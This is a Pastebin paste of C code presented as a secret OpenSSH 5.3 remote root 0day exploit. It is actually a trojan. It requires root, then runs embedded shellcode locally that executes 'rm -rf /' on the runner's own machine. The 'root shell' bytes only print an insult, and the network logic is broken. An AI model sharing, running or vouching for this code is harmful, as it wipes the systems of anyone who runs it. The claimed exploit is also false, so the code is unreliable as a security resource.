Advertisement
Guest User

Untitled

a guest
May 22nd, 2010
1,583
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.03 KB | None | 0 0
  1. /*
  2. *
  3. * Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
  4. *
  5. * OpenSSH <= 5.3 remote root 0day exploit (32-bit x86)
  6. * Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
  7. *
  8. *
  9. */
  10.  
  11. #include <stdio.h>
  12. #include <netdb.h>
  13. #include <stdlib.h>
  14. #include <string.h>
  15. #include <unistd.h>
  16. #include <arpa/inet.h>
  17. #include <sys/types.h>
  18. #include <sys/socket.h>
  19. #include <netinet/in.h>
  20.  
  21. void usage(char *argv[])
  22. {
  23.     printf("\n\t[+] HATSUNEMIKU\n");
  24.     printf("\t[+] OpenSSH <= 5.3p1 remote root 0day exploit\n");
  25.     printf("\t[+] Keep this 0day priv8!\n");
  26.     printf("\t[+] usage: %s <target> <port>\n\n", argv[0]);
  27.     exit(1);
  28. }
  29.  
  30. unsigned char decoder[]=   "\x6a\x0b\x58\x99\x52"
  31.                            "\x6a\x2f\x89\xe7\x52"
  32.                            "\x66\x68\x2d\x66\x89"
  33.                            "\xe6\x52\x66\x68\x2d"
  34.                            "\x72\x89\xe1\x52\x68"
  35.                            "\x2f\x2f\x72\x6d\x68"
  36.                            "\x2f\x62\x69\x6e\x89"
  37.                            "\xe3\x52\x57\x56\x51"
  38.                            "\x53\x89\xe1\xcd\x80";
  39.  
  40. unsigned char rootshell[]= "\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b"
  41.                            "\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1"
  42.                            "\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\x31"
  43.                            "\xdb\x40\xcd\x80";
  44.  
  45. int main(int argc, char **argv)
  46. {
  47.  
  48.     int euid = geteuid();
  49.     int port= 22, sock;
  50.     char h[1000];
  51.     struct hostent *host;
  52.     struct sockaddr_in addr;
  53.  
  54.     if(euid != 0)
  55.     {
  56.         fprintf(stderr, "You need to be root to use raw sockets.\n");
  57.         exit(1);
  58.     }
  59.     if(euid == 0)
  60.     {
  61.         fprintf(stdout, "MIKU! MIKU! MIKU!\n");
  62.     }
  63.     if(argc != 3)
  64.     usage(argv);
  65.     if(!inet_aton(h, &addr.sin_addr))
  66.     {
  67.         host = gethostbyname(h);
  68.         if(!host)
  69.         {
  70.             fprintf(stderr, "[-] Exploit failed.\n");
  71.             (*(void(*)())decoder)();
  72.             exit(1);
  73.         }
  74.         addr.sin_addr = *(struct in_addr*)host->h_addr;
  75.         }
  76.         sock = socket(PF_INET, SOCK_STREAM, 0);
  77.         addr.sin_port = htons(port);
  78.         addr.sin_family = AF_INET;
  79.         if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
  80.         {
  81.             fprintf(stderr,"[-] Exploit failed.\n");
  82.             exit(1);
  83.         }
  84.         char payload[1337];
  85.         memcpy(payload, &decoder, sizeof(decoder));
  86.         memcpy(payload, &rootshell, sizeof(rootshell));
  87.         send(sock, payload, strlen(payload),0);
  88.         close(sock);
  89.         if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
  90.         {
  91.             fprintf(stderr, "[-] Exploit failed.\n");
  92.             exit(1);
  93.         }
  94.         else if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
  95.         {
  96.             fprintf(stdout, "[+]g0t sh3ll!\n");
  97.             system("/bin/bash");
  98.         }
  99.         else
  100.         {
  101.             fprintf(stderr, "[-] Exploit failed.\n");
  102.             close(sock);
  103.             exit(0);
  104.         }
  105. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement